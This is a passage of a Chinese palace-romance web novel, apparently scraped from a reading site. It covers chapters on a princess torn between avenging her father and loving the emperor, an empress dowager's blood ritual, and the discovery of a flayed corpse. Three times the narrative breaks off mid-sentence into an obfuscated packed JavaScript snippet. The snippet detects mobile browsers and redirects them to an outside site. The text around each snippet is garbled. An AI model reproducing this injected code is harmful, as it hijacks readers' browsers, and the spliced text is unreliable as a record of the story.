“夕儿,你不认识父皇了?”那人紧追了两步。 “父皇,你怎么……怎么浑身是血……”安文夕大着胆子上前搀住了他。 “夕儿,父皇不甘心就这么**,不甘心呐!”那人握着她的手力气大的惊人,勒得她一阵生疼。 “父皇……”安文夕眼底泛出湿润。 “夕儿,你真是令父皇太失望了!” 那人眼底中涌出血水来,凌厉的眼神令安文夕一阵毛骨悚然,手心里被濡湿了一片。 “你明明知道那北宫喆逼**父皇,灭了我们大安,你不仅不帮父皇报仇,怎么还可以爱上他呢!” “父皇,我控制不了自己,我也曾经努力的告诉自己要杀了他,可是……可是我就是做不到……”安文夕双手抱着脑袋,一步步后退,然后蜷在一旁,痛苦的挣扎。 “夕儿,你可以的,这次就是个机会!” 安文夕蓦地一滞,突然明白了他的意思,她对上他血红的双眸道:“父皇,夕儿不能恩将仇报,他救了我,我……我不能……” 那人叹了口气,刚想走近她,身子剧烈的抽搐起来,好像在忍受着巨大的痛苦一般,整个人也变得模糊。 “夕儿,记得,记得要帮父皇报仇,不然父皇死不瞑目!死不瞑目!” “父皇……父皇……”安文夕立即站起了身子,眼前再也没有那个人的身影,只剩下了一团灰蒙蒙的烟雾。 安文夕不停地奔跑,不同的寻找、呼唤,可那个人再也没有出现过。 “父皇……父皇……”安文夕倏地惊坐起来,眼中依然泪光点点。 烛火跳跃,撒了一捧烛泪,外面的天空已经蒙蒙亮。 原来这是一场梦! 可是刚才那一幕却真实的可怕,就连父皇握着她的手都是那样清晰的触感。 尤其是父皇最后的那一句死不瞑目,更如重锤一般砸在了她的心头,她心里闷得喘不过气来。 转眸看向床榻上的北宫喆,在昏黄的烛火下,如白瓷般的肌肤泛着柔和的色泽,微抿的嘴角分外苍白。 指尖轻触,柔滑的皮肤令安文夕心中一颤,飞快的掠过他紧闭的双眼、高挺的鼻梁、凉薄的唇。 突然,安文夕手腕青筋毕露,狠狠地扣住了北宫喆的脖子。 父皇让她报仇,可是她现在根本就下不去手,怎么办? 安文夕右手一颤,蓦地收回了手。 北宫喆呼吸骤然一滞,紧抿的薄唇微动,发出孱弱的音节。 “水……” 安文夕根本没有注意到北宫喆微弱的动静,她扫了眼北宫喆,紧抿了嘴角,头也不回的步出了营帐。 二月的清晨,凉沁沁的山风令安文夕身上倏地一冷,慢慢的驱散了安文夕心中的烦闷,她深吸一口气,将肺腑中的浊气长长的吐了出去。双眸也变得愈加清明澄澈起来,她索性就在军营不远处散散步。 远处江向晚的营帐内亦是彻夜灯火通明,江向晚懒洋洋的掀开眼皮,对外间的雪嫣道:“现在是什么时辰了?” 雪嫣闻言立即起身,走到江向晚榻前,“如今都卯时了。” 江向晚闻言,微不可见的点点头。 “小姐,您怎么又醒了?”雪嫣蹙眉,照这样下去,小姐的身体根本吃不消啊。 江向晚坐起身子,脑袋昏沉,有些疲惫不堪。她哪里是又醒了,她几乎一夜未睡! 喆现在还处在危险之中,她怎么能睡得着? “扶我起来。”江向晚掀开了身上的锦被。 “小姐,这天还早着呢,您再睡会吧。” “不睡了,我要去看看喆。”江向晚已经扶着雪嫣的手起身,然后由着雪嫣将她的衣服穿戴整齐。 主营帐内的灯火还在亮着,江向晚犹豫了一下,掀开了帐帘。 “水……水……”北宫喆微微动着嘴角。 江向晚扫了一周没有看到安文夕,不禁心中一喜,立即握住了北宫喆的双手,将耳边靠在北宫喆嘴边,这才听到了他嘴里吐出的微弱的声音。 “水,他要喝水,雪嫣你快去倒水来。”江向晚激动地抓紧了北宫喆的双手。 这是不是意味着喆熬了过来,已经没事了么? 江向晚接过来雪嫣递来的水,万分小心的一勺一勺凑到北宫喆唇边。 一碗水足足喝了将近半个时辰,北宫喆原本苍白的薄唇逐渐恢复了点淡淡的血色。 北宫喆睫毛轻颤,睁开了双眼,美目桃花,灼灼其华,仿佛一瞬间夺去了整间账内的光芒。 “喆,你醒了?”江向晚惊喜道。 “是你?”北宫喆眼底飞快的划过一抹失落,然后坐起了身子,江向晚立即往他身后垫了靠枕。 “喆,是我。”江向晚由于一夜未眠,精神憔悴不堪,脸上挂着的浅笑使得她看起来脸色又苍白了几分。 “是你一直在这里?”北宫喆看着江向晚眼下那一片乌青和布满血丝的双眼,显然是一夜未睡。 江向晚一愣,蓦然抬头,看见北宫喆面若白玉的脸庞,咬了咬牙,点点头,算是默认。 北宫喆垂下了眼睑,掩去了那一抹淡淡失望的眸光。 她呢,她在哪里,他拼死救了她,她仍然无动于衷么? 他记得在战场上她陪他决一死战的决绝,记得她不顾一切将他护在身后的倔强。他以为她动心了,可是…… 观察着北宫喆的神色,江向晚有些紧张,忙握住了北宫喆的手,问道:“喆,你还要喝点水么?” 突然的触感令北宫喆一滞,她的手很热,在他昏迷中他隐约记得有一双略带凉意的手一直握着他的手,那双手,不是她江向晚的。 还有他刚才明明感觉有人掐住了他的脖子,那个人更不是江向晚! 安文夕一直在外面转悠了半个时辰,虽然心境开阔不少,心里的思绪仍然没有解开。那日她就已经解了相思蛊,如今她对北宫喆的心思她再清楚不过,以前还可以将一切推至相思蛊上,现在,她再也骗不了自己。 可是,父皇的仇怎么办,父皇说他死不瞑目! 许多次都是她的犹豫不决,才会拖到了现在还没有杀得了北宫喆,她的确令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451034|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父皇失望了。 安文夕抿了抿唇,迈开了湿重的雾气,走向小厨房。 她的肢体行为比她的大脑更快地做出了选择,她为北宫喆熬了药然后朝主营帐走去。 就让她再沉沦这一次吧,等他好了之后,她绝不心软,绝不心软! 安文夕掀开帐帘,走到里间,看到那双紧握在一起的手,手中端着的碗蓦地一松,安文夕迅速反应过来,倏地将药碗接住,里面的药汁一滴不撒。 愣了一瞬,安文夕走上前去,抿了抿唇对北宫喆道:“喝药吧。” 江向晚有些不自然的扯了扯嘴角,伸手欲接过来安文夕手中的药碗,“我来吧。” “夕儿过来。”北宫喆直直的盯着她,突然道。 安文夕看也未看江向晚,直接越过她做到北宫喆榻前,舀了药轻轻地吹了吹,然后送到他的嘴边。 江向晚急忙将深处的手收回,脸上飞过一抹尴尬,一时间站也不是,坐也不是。 北宫喆看了她一眼道:“你在这里也守了一夜了,赶紧去休息吧。” 北宫喆话音刚落,江向晚立即涨红了脸颊,咬着下唇,点点头,然后跌跌撞撞的出了帐门,似乎想要逃离一般。 安文夕舀着药汁的手微微一顿,半晌,嘴角慢慢溢出一抹似有似无的讥笑,舀起药汁送到北宫喆唇边。 北宫喆突然握住了安文夕握着勺子的手,凉沁沁的触感分外舒服,他的嘴角攒出了一抹浅笑。 “既然你的手能动,你自己喝吧。”安文夕抽回了手,将药碗塞到北宫喆手中,转身欲走。 “夕儿。”北宫喆突然捉住了她的手,将她拉到他身侧。 看到她手腕上沁出的点点血渍,北宫喆指尖轻触,“还疼么?” 安文夕摇了摇头,这点痛不算什么。 北宫喆将药碗放到小几上,这才发现身上只穿了一件里衣,挣扎着起身,安文夕立即制止他道:“你要做什么,不知道身上有伤么?” 北宫喆重新坐了下来,对安文夕道:“你去拿一下我的衣服,在袖兜里有青色的小瓷瓶。” 安文夕知道他身上有带药的习惯,总是习惯性的将药放在左袖兜里,所以毫不费力的就找到了他所说的青色小瓷瓶。 北宫喆接了过来,一把抓住安文夕的手腕,将她的袖子撸上去,扯开上面缠着的纱布,看到上面刚刚结痂的伤口蹙了眉头。 “你怎么就不知道爱惜自己呢?” 略略宠溺的口吻令安文夕心中一颤,若是以前她定然会说“不是有你爱惜我么?”可是如今她张了张口再也说不出来。 北宫喆将药膏抹在伤口处,他的指尖掠过,凉凉的触感随之而来,安文夕的手蓦地一缩。 “你身上落下伤疤就不好看了。” 安文夕突然收回手,将小几上的药碗送到他的手中,“药凉了,你赶紧喝吧。” 她没骨气的选择了逃避,他对她越好,她的心里就越纠结,越痛苦。 “去做什么?”北宫喆根本就不如她所愿,这一次竟直直的将她带入了怀中。 安文夕惊呼道:“你干什么?你身上有伤,不要命了么!” 第137章 舍得杀朕 第一百三十七章舍得杀朕 “你晚上守着朕,定然没有睡好,上来睡会。” 看着他嘴角的笑意,安文夕顿时神色一滞,他竟然都知道! 在她愣神之际,北宫喆已经将她带上了床榻,抬手脱掉了她的鞋袜,不由分说的将她塞到了他的里侧。 “睡吧,朕守着你。” 安文夕本就疲倦,睡在温软的床榻上,不多一会便沉沉睡去。 北宫喆看着安文夕绝美的睡颜,忍不住轻轻摩挲着她的脸颊,手下的小人丝毫没有反抗,依然睡得香甜。 她是一个警觉的人,只有在她认为安全的环境中才会睡的安稳。可见,她对他的依赖一直都没有变。 夕儿,你现在当真舍得杀朕么?北宫喆嘴角微杨。 一晃之间,过去了十日,每日安文夕都给北宫喆喂药,帮他换药。北宫喆恢复的很快,伤口已经结痂长肉,早已行动自如。 而江向晚的身体却一天天的孱弱下去,北宫喆让惊魂将她送回承安休养,若是一个月后仍然不见起色,就让她继续沉睡,一直等到他找到千年龙魄。 安文夕却一天比一天煎熬,她知道自己不能再继续待在北宫喆身边了,她怕自己沉沦在北宫喆的温柔里,再也对他下不了手。 哒哒的马蹄声一声声敲在她的心中,她窝在马车内,抱着双腿发呆。 “小师妹,你真的打算不告而别?”袭匀一边赶着马车一边问。 “废话,都已经走了,怎么告别?”欢凉斥道。 “怎么老凶我,你要是舍不得闷骚月就自个儿回去!” “你叫月公子什么?” “闷骚月,他有事没事摇一把破扇子,不是闷骚是什么?”袭匀不悦。 “那叫风流潇洒,真是狗嘴里吐不出**!” “我呸,还风流潇洒,你个小没良心的,胳膊肘尽往外拐,他喊我**袭的时候也没见你说什么?” “月公子又没有说错,你就是个**,嘴贱!” “我说你这个臭丫头是不是找打?” “好了好了,别吵了,天天不让人清净!欢凉,你过来。” 欢凉和袭匀对视了一眼,彼此哼了一声,皆扭过头去。 欢凉掀开车帘,看向安文夕道:“公主,你想好我们去哪了吗?” 安文夕略略点头,“我们去南昭。” “什么?”欢凉惊道,公主怎么好端端的要去南昭,南昭向来与中原地带隔绝,四周又有天然的瘴气毒林为屏障,若是没有南昭人引路,中原人根本难以进入南昭国境,以前想去南昭的人,大多数都是死在了毒林里。这也是为什么中原分分合合,动荡不堪,而南昭却一直存在了千年的原因。不论中原怎样硝烟弥漫,战火始终燃烧不到南昭。 “我决定了,既然晟哥哥想要这大夏的江山,那就凭真本事去争去抢,让我一介女流去暗杀算什么能耐?” 欢凉眼中闪现出喜色来,“公主,你说得对,我支持你。” “我们先去承安,和花姑姑商议一番,再将箐姑姑和香茗一起接走。” “欢凉就听公主的。” “到了承安之后,我们再和晟哥哥联络吧。” “是。” “驭——”袭匀突然勒住了缰绳,安文夕和欢凉顿时一个趔趄。 “小师妹,前方有人拦住了路。” 安文夕心中咯噔一下,难道是北宫喆? “换个方向,赶紧走!” “所有的方向都有人!”袭匀掀开车帘,“北宫喆追来了!” 前方不远处,北宫喆一袭白衣,衣袂摇曳,玉带当风,跨坐在蹄血玉狮子上,双目清冷,神情冷煞,一瞬不瞬的盯着安文夕所乘的马车。 半晌,那紧抿的薄唇轻启,“安文夕,还要朕亲自去抱你下来么!” 这十日以来,她无微不至的照顾他,他以为她已经释然了,谁知道这个女人她竟然在筹划着私自逃跑! 北宫喆阴鸷的声音蓦地传进了安文夕耳中,一字一句狠狠的砸在了她的心里,她攥紧了衣角,然后掀开车帘,和那人对视道:“北宫喆,我无法不杀你,您难道想在你身边留下一个定时**么?” 定时**的意思她曾向他说过,他知道。 “朕愿意,朕就不信你舍得杀朕!”北宫喆驾着马慢慢逼近马车。 安文夕一把抽出腰间的七节鞭,对着北宫喆冷眉道:“我会,收了你的人,放我走!” “朕若是不放,你打算和朕动手?” 安文夕握紧了手中的七节鞭看着北宫喆不说话,紧抿的嘴角显露了她的态度。 “根朕回去,去幽冥山,解了你身上的毒之后,你是走是留,朕绝不过问!”冰凉的语气中透着决绝。 他的帝王之尊,他的君临天下,到了她这里,仅剩了哀求。 北宫喆双拳紧握,只要她敢说个不字,他这就将她强行带走! 她**了?她何时中的毒?安文夕微眯着眼睛。 看着安文夕的反应,月清绝看着北宫喆,“你没跟她说过她中了息子魂殇这件事?” 北宫喆微抿了嘴角,他原本就没有打算让她知道自己**这事。若不是这次她突然不告而别,他也不会告诉她。 月清绝顿时有些气急败坏,指着北宫喆道:“你说让我说你什么好,这么重要的事情你也不和人家姑娘说,真是活该人家姑娘要离你而去,要是本公子的话,本公子也看不上你。” 身后方的青玄默不作声的瞥了眼月清绝,月公子您今天来可不是来指责皇上的! 欢凉听到安文夕**,心中一惊,那息子魂殇据说是极为阴邪的毒,公主怎么会中? 月清绝看到欢凉出来,眼睛一亮,“你这个小丫头,本公子对你这么好,你竟然不告而别,本公子的心都被你伤透了。” “月公子,我……”欢凉有些不好意思与月清绝对视,不告而别的确是她不对。 “什么都别说了,赶紧劝劝你的好公主,咱们解毒要紧。” “臭丫头,别听他废话,他就是想将你留下。”袭匀撇嘴。 “本公子就是想留下小丫头怎么了,告诉你**袭,你爱走走,别老缠着我家小丫头好么?” “本公子就不走!”袭匀怒视着月清绝,。 “够了!”安文夕怒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451035|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斥道。 北宫喆已经策马行至马车前,盯着安文夕的眼睛道:“跟朕回去!” 安文夕还没有来得及反应,只觉一阵白衣掠过,腰间突然多了一只霸道的手将她牢牢锁着,然后下一瞬她已经翩然**。 “北宫喆。” “朕在。”北宫喆放在她腰间的手又加大了几分力道。 “你……” “夕儿,不要再逃避朕了。”北宫喆一手揽着她,一手握着缰绳,双腿一夹马腹,策马而去。 月清绝看着前方的一堆璧人策马扬鞭,脸上出现了一抹羡慕之色,转眸看向欢凉,谁知视线却和黑着一张脸的袭匀对视个正着。 “你若是敢碰臭丫头,本公子打断你的腿!”袭匀恶狠狠道,看月清绝的神色,分明想要模仿北宫喆将欢凉带走。只要有他在,闷骚月想都别想。 “切,你没那个本事。”月清绝甩下这一句扬长而去。 夏宫,长乐宫。 如今的夏宫已经完全是曹暮烟的天下了,北宫喆所纳的宫妃哪个不是对她毕恭毕敬?北宫喆离朝之时将朝中之事交由右相易寒打理。在北宫喆不在宫中的半个多月,曹暮烟几乎独揽朝政,在前朝之上一步步换上了她的人,而那易寒却丝毫不敢说个不字。曹暮烟认为易寒不过是北宫喆近几年扶持起来的新秀,手腕跟江佑城那个老狐狸相比嫩了许多,不禁对易寒生了轻视之心。 曹暮烟斜斜的靠在软榻上,吃着沧月刚刚削好的苹果,姿态慵懒至极,却偏偏透出一股子雍容华贵。 半晌才抬眼扫了眼立在阶下的女子,懒洋洋的动了动红唇。 “来哀家宫里,又不是什么见不得人的地方,你何必包裹的这么密不透风?” 阶下的女子身材玲珑,淡紫色的罗裙外面罩了一层黑色的斗篷,大大的风帽将她的脸颊几乎全部遮住,只露了尖尖的下巴。听到曹太后说话,这才将头上的风帽摘掉,看着软榻上那妖艳的女子眸光中略略带出来的不屑,微微咬了咬下唇。 曹暮烟打量着女子那苍白的脸色,勾起了红唇道:“晚儿来哀家这里,是不是已经想好了?” 江向晚垂着眸,像是在做着激烈的斗争一般,半晌她赫然抬起头道:“太后娘娘,晚儿想好了。” “呵……”曹暮烟妩媚的笑了笑。 “哀家就说,咱们是一路人,你会来找哀家的。”曹暮烟说完施施然起身,慢慢的走向台阶,勾起江向晚的下巴,啧啧道:“这样的美人儿,哀家看着都心生怜惜,可惜皇儿不知道珍惜。” 冰冷的触感,令江向晚通过下巴处掠过一阵阴寒,仿佛被滑腻的毒蛇爬过一般。 “太后娘娘,晚儿该怎样做?” 喆说了等他过几日回朝之后就取出她体内的引魂丹,让她沉睡。可是,若是一辈子都拿不到千年龙魄的话,她要沉睡一辈子么?就算几年之后,喆得到了千年龙魄,那时他都和安文夕儿女成群了,她醒来还有什么用? 她已经等不了了,她不想死,她想变得强大,她想将安文夕狠狠的踩在脚下! 曹暮烟观察者江向晚脸上的神情变化,抓住她的手道:“晚儿,你随哀家来。” 第138章 一念成魔 第一百三十八章一念成魔 通往长乐宫的内殿有条幽深的小径,纵是白天,这里也非常阴暗,明明灭灭的宫灯更添了几分阴森。 江向晚这是第一次来这里,手心里出了一层细汗,而曹暮烟抓着她的手腕,丝毫不容她挣脱。她知道,开弓没有回头箭,自从进了这长乐宫,她就只能一步步走下去! “晚儿,来这里。”曹暮烟引着她进了殿门,内殿很幽暗,零散的几盏清油宫灯发出星点微弱的光。 “太后娘娘。”阴冷的氛围不禁令江向晚打了个寒颤。 “怕什么,哀家又不会吃了你。”曹暮烟松开江向晚的手,伸出手来,沧月立即将一把精致小巧的金色小刀递到她的手中。 曹暮烟勾唇一笑,“一念成佛,一念成魔。这人若是入魔,多半由心而生,所谓心魔。而你不同,因为你根本就没有心。” 江向晚闻言微微垂下了头,“还请太后娘娘指点。” “其实这也不难,不过你得拿东西和哀家交换才是。” “不知太后娘娘想要什么东西?”她连心都没有了,曹太后还想从她这里得到什么? “引魂丹。” 江向晚一愣,瞥了眼笑得妖艳的曹暮烟,心中一惊,她上次只是说与她为伍,生下喆的孩子交由她作为傀儡新帝,便可以帮她恢复她的身体,给予她巨大的力量,怎么今日却提到了引魂丹? 难道是……江向晚眼角的余光瞥了眼曹暮烟的小腹和立在一旁的沧月。再联想到如今前朝的局势,江向晚心中渐渐清明。现在,要么是曹太后老蚌怀珠,要么是她已经等不了了! “怎么,不愿意?” “太后娘娘,这引魂丹本就不是晚儿的,皇上说了等他回朝就将引魂丹取走。” 只见曹暮烟红唇一勾,锐利的凤眼直摄心魄,“哀家还以为晚儿打算自个儿留着呢。” “太后娘娘说笑了,晚儿怎么敢呢?”江向晚看着曹暮烟风情万种却贵不可攀的姿态,垂眸掩下眼底的阴毒,待她得到强大的力量之后,必要将这个老妖精从高处狠狠地拽下来。 江向晚心中在想什么,曹暮烟岂会不知,在她转身和之际,眸中寒意渐盛,声音也冷了几分,“可惜了,哀家不见到这引魂丹,没办法帮晚儿呢。” “太后娘娘……”江向晚神色一惊,咬着下唇犹豫了半晌,最终下定了决心道:“既然太后娘娘想要这引魂丹就取走吧,相信若是您要,皇上也会亲手献上。” 曹暮烟走过去拍了拍江向晚的手背,亲切道:“这才是哀家的好儿媳。” “你先躺下,这引魂丹和魔性相克,只有取出来这引魂丹,哀家才好助你成魔。” 江向晚抿了抿唇,最后还是依着曹暮烟的吩咐平躺在了软榻上。 曹暮烟笑意涔涔的把玩着手中的金色小刀,然后不知从什么地方摸出一粒药丸塞进江向晚嘴里,接着点了她的穴道,掀开她胸口的衣服,循循诱道:“放心,那是给你止疼的,哀家不会害你。” 嘴里顿时升起了一股发霉了般,辛辣苦涩的味道,江向晚不自觉地皱了皱眉。 曹暮烟说完,手中的寒光立现,毫不犹豫的将金色小刀刺进了江向晚的胸膛,划过她的皮肤,割开一道血口,让她的血液流尽,生生的从里面掏出了一粒泛着血色的七彩琉璃珠。 曹暮烟眼中划过一抹巨大的喜色,紧接着涌出一片阴狠,倏地将手中的七彩琉璃珠收进袖中。 江向晚紧闭着眼睛,不去看胸口处的血腥。 曹暮烟飞快的用金色小刀划过自己的手腕,一股妖冶发黑的血液蜿蜒流下,她立即将这血液全部流进江向晚的胸口的伤口处。 不消片刻,江向晚胸口处原本殷红的鲜血顿时变黑,而她的唇瓣也呈现出耀目的紫色来。曹暮烟接过沧月递来的玉碗,盛了慢慢一碗黑色的血液,捏着江向晚的下巴,强迫着她将碗里的血液全部喝完。 末了,她一把抹掉手腕上的血迹,指尖擦过,手腕上刚刚划开的伤口立即消失不见,再看江向晚的胸前,此时只有一道浅浅的划痕,刚才的鲜血淋漓全部消失的无影无踪。 江向晚蓦地睁开了眼睛,眼底一片血红,嘴唇更是紫的发黑,她倏地握紧了双拳,从软榻上一跃而起。 突然,手心中一阵发热,仿佛有什么东西要破体而出。半晌,一截丑陋不堪的蛇蔓枯藤探出头来,江向晚顿时吓得大惊失色,死死地握住自己的右手,眼中尽是不可置信。 这种丑陋的东西她曾经在曹暮烟手中见过,难道带给她无穷力量就是它么? “你会喜欢它们的。”曹暮烟浅笑。 江向晚闻言神色一凛,一步步靠近曹暮烟,双眸泛着阴毒,手心的蛇蔓因为她的愤怒而肆意汹涌,就连她额头上的蛇纹蔓藤也若隐若现。 “你竟敢骗我!” “哀家几时骗你了,这些都是你自愿的。” 江向晚手中的枯藤立即飞了过去,欲将曹暮烟死死缠住,沧月身形一闪,立即将曹暮烟带了出来。江向晚不甘心的嘶吼着,整个长乐宫都发出凄厉阴森的声音,令人从心底发寒。 “还我的引魂丹!”江向晚祭出青霜剑。 沧月眸光一凛,冷道:“江小姐确定要在长乐宫撒野么?” 半晌,江向晚慢慢平静下来,眼底的血色渐渐淡去,现在就是再后悔也晚了!她咬了咬唇,抓起地上的斗篷,转身从殿外走去。 “别怪哀家没提醒你,你要合理控制自己的脾气,不然吓到了皇帝就晚了。” 江向晚脚步一顿,握了握拳,急切的逃离了这里。 曹暮烟没有在意江向晚的情况如何,从衣袖中取出引魂丹仔细端详。 “有了这引魂丹,哀家就不怕找不到那莫虞。” 当年那月无痕夫妇花费毕生心血竟然给莫虞那**做了一枚引魂丹,妄想救活她,可惜她进不了枫月谷,不然,她定将月无痕夫妇杀之后快! 她找了那么多年,终于知道了那莫虞的尸身未毁,而且,那安莫霖也没死,只是不知道被北宫喆这个小杂种藏到何处去了! 他们一家团聚,只剩下她一个孤家寡人,她怎么肯?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451036|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“烟儿放心,有了这引魂丹,必然能够引出安莫霖。” 曹暮烟眼底划过一抹阴狠,随即点点头,“阿袭还是没有音讯么?” 沧月顿时眸光一黯,“没有。”她明明知道那袭匀是故意接近她的,她却依旧甘之如饴,无非是因为那袭匀和当年的安莫霖清冷的神丨韵有几分相似罢了。 沧月抿了抿嘴角,放在曹暮烟腰间的手越发的不规矩起来,大胆的挑逗着她的敏感。 不消片刻,曹暮烟已经丢盔弃甲,浑身发软的靠在沧月肩头。 “烟儿,我们赶紧生个孩子吧,这大夏也算是有了后继之人。”沧月一把将曹暮烟抱了起来,走向寝殿。 —— 北宫喆将安文夕带回了营帐,此时安扎在此处的夏营已经拔营起寨,不远处停了几辆宽大的马车,清油篷布,极为普通。 听到马蹄声,月无双倏地从一辆马车里边跳了下来,看到她兴奋道:“夕姐姐,我就知道喆哥哥会将你带回来的。” 安文夕翻身下马,月无双立即走过来挽住安文夕的手道:“夕姐姐,好端端的你怎么突然要走,就是走也要带上无双呀,不然无双整天面对一张冰块脸的喆哥哥多没意思啊,尤其是我哥天天叨叨个没完。” “若是将你拐跑了,你哥铁定跟我没完。” “他敢,无双现在都已经长大了,他不能限制无双的自由!”月无双说着将安文夕引上马车,在车帘放下之际,月无双得意的对北宫喆挑了挑眉。 接着,月清绝等人相继赶来,欢凉立即下了马车,然后上了安文夕所在的马车,袭匀丝毫不甘落后,紧追而去。 月无双瞥了眼将要踏上马车的袭匀,不乐意的撇撇嘴,“你一个大老爷们坐什么马车?” “我一个大老爷们怎么就不能坐马车了,这可是北宫喆亲自接本公子回来的。” “切,脸皮可真厚!”月无双倏地放下了车帘,将袭匀挡在了外面。 这时,马车内传来欢凉幸灾乐祸的声音道:“你想坐马车也行,就待在外面赶车吧!” 袭匀忿忿的握住了缰绳,他何时能摆脱马夫的命运,让他这么英俊潇洒的翩翩佳公子赶车太跌身份了! 北宫喆见他们都收拾完毕,说道:“启程!” 幽冥山位于西楚南部,他们此行先要赶往沐阳,然后再从沐阳前往幽冥山。 月清绝自己一个人赶了辆马车,颇为悠然自得,对袭匀挑眉道:“**袭,你要不要考虑和本公子一起啊,本公子为你赶车。” 袭匀撇撇嘴:“本公子不稀罕!” 一路上,月清绝和袭匀拌了一句的嘴,谁也不服谁。 车行半路,一个浑身是血的人躺在小路旁,赫然闯进了袭匀的视线,他立即一把勒住了缰绳。 “能不能每次停车的时候说一下?”欢凉重重的撞在了车壁上,不禁怒道。 袭匀自动忽略了欢凉的抱怨,一把掀起车帘,对安文夕道:“小师妹,你过来。” 安文夕看着袭匀一脸凝重,立即挪了过来,“怎么了?” 第139章 她在在意 第一百三十九章她在在意 “小师妹,你看那里。” 安文夕顺着袭匀手指的方向看去,待目光接触到那个浑身是血的人时,杏眸蓦地骤缩。 “你看身形像不像无涯?” 袭匀都能认得出来,安文夕自然不会认错,她双手一撑,直接跳下了马车,北宫喆眸光一凛,立即翻身下马,一把抓住了安文夕的手。 “别过去。” 看着北宫喆幽深的眼神,安文夕蓦地一惊,无涯无端端的出现在这里,难道有阴谋? 思索之际,袭匀已经探身上前,欢凉和月无双、月清绝也跟了上来。 “**。”月清绝扫了一眼道。 安文夕心中一紧,这个人也许只是身形看着像无涯而已,毕竟上次晟哥哥还说无涯和秋水在南昭呢,她在心里一遍遍提醒着自己。 她俯下身子,准备将地上的人扳过身子,北宫喆突然制止了她,“慢着。” 看着他一脸凝色,安文夕不禁神色凝重起来,不再轻举妄动。 北宫喆扫了眼众人道:“你们都离远些。” 安文夕握着北宫喆的手,丝毫没有松的意思,双眸紧紧锁着地上浑身是血的人,咬着下唇。 北宫喆眸光一敛,赫然出掌将地上的人一下掀起,果然,一枚闪着寒光的**蓦地从那人的嘴里吐了出来,带着巨大的力道直直的朝北宫喆射来,速度之快,根本令人来不及躲避。 “叮——”北宫喆一掌将那枚银针打偏,钉在了一旁的大树上。 “啊!”月无双突然捂着嘴惊呼道。 众人齐齐朝地上的人看去,胃里都不禁泛起了酸水,那哪是一张脸啊,整张脸皮被齐整的割下,没有脸皮的脸本就狰狞不堪,再加上上面布满了烙伤和鞭伤,皮肉外翻,看起来十分恐怖。脸上不少地方已经开始腐烂流脓,散发出尸臭的味道。 这是无涯? 安文夕双手颤抖的想要去去掀开无涯的衣袖,不料却被北宫喆握紧了双手,“清绝,你来。” 月清绝眉心一跳,开什么玩笑,这个人身上浑身是毒,北宫喆这小子爱惜媳妇,他还爱惜自个儿呢! 虽然心里这么想,月清绝还是寻了一根树枝将地上那人的衣袖挑起。 待看到那人手腕上那块粗陋不堪的烫伤时,安文夕蓦地坐在了地上,眸中一片惊诧。欢凉眼中的泪水再也止不住,哽咽道:“公……公主,这是无涯!” 安文夕的目光再次接触到那张可怖的脸时,不由得捂住了自己的嘴巴,狠狠的咬着唇角。 无涯,以前容貌惊人,不少女人在他面前都要羞愧三分。而且,他向来爱惜自己的容貌,一般脸上长个痘都要紧张半天,他是怎么忍受的了容颜被毁? 到底是谁,竟然这么歹毒,用如此残忍的法子毁了无涯的脸! 突然,安文夕的眼前再次闪现那次九华殿刺杀的那一幕,是了,是换脸! 换脸又分为两种,一种是让秘术师做出人皮,然后将要变脸之人的面皮剥下,将做好的人皮换到那人的脸上。而另一种就是将面皮从原主的脸上生生剥离,然后再换到另一个人脸上,这种换脸,是最简单的换脸。 换脸不同于**,它可以达到天衣无缝的效果。 如今,九州大陆会做面皮的秘术师少之又少。 那么,那日九华殿上的无涯和秋水的换脸术就是属于后者了! 安文夕想到这里,一颗心顿时沉到了谷底,既然这样,想必秋水也一定被人剥了脸皮了。如今无涯出现在了这里,那秋水呢?他是早就曝尸荒野还是被慕容清带去了洛城?无涯和秋水明明是南昭,怎么会落到了慕容清的手上?安文夕顿时心乱如麻,难道上次晟哥哥骗了她,她不敢再往下去想。 “你别拦我,这是无涯。”欢凉脸颊上挂着泪水,拼命的挣脱袭匀的双手。 “你疯了,他身上有毒!”刚才月清绝都被不敢直接接触。 月清绝看了半晌道:“这尸体不能留,不如早点烧了吧。” “你敢!”欢凉怒视着他道。 “欢凉,月公子说得对,无涯的尸体不能留。”安文夕垂眸道。 “可是……可是公主,无涯那么骄傲的一个人,怎么会同意……” “那你总不能让他的尸体在这里慢慢腐烂吧。”月清绝蹙眉道。 欢凉闻言顿时哑了口。 安文夕咬了咬牙对月清绝道:“如此就麻烦月公子了。” 北宫喆收紧了握着安文夕的大手,然后另只手攀上她的腰间,身形一跃,将她带至马背。 安文夕正欲说话,只听北宫喆道:“他的骨灰会给你的,放心便可。” 